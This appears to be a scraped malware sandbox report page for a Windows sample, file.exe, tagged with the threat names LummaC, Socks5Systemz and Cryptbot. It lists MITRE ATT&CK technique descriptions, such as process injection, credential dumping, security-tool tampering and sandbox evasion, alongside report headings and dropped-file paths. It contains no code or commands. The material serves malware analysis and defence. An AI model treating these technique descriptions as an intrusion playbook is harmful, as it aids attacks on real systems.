Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Socks5Systemz

Threatname: Cryptbot

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Edrax Smart Maker 9.28.47\Edrax Smart Maker 9.28.47.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_tyq3dazbB0crObgK_14e4c4bdfbf874b512fc3170f3f83834d8ec981d_07c48f9b_14f03704-c0a9-40eb-964a-668825b036fb\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_tyq3dazbB0crObgK_14e4c4bdfbf874b512fc3170f3f83834d8ec981d_07c48f9b_387c352d-719b-421b-b3c1-1bdb15d42acc\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_tyq3dazbB0crObgK_14e4c4bdfbf874b512fc3170f3f83834d8ec981d_07c48f9b_734b19a0-9dc6-4428-8efd-3bfa4eb94daa\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_tyq3dazbB0crObgK_14e4c4bdfbf874b512fc3170f3f83834d8ec981d_07c48f9b_90b25c10-298e-40be-9959-3b69a56e67fc\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_tyq3dazbB0crObgK_14e4c4bdfbf874b512fc3170f3f83834d8ec981d_07c48f9b_e297006f-820d-4663-b3a1-ecbcf3c49020\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER10B9.tmp.txt

C:\ProgramData\Microsoft\Windows\WER\Temp\WER10E9.tmp.txt

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3335.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3818.tmp.WERInternalMetadata.xml

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre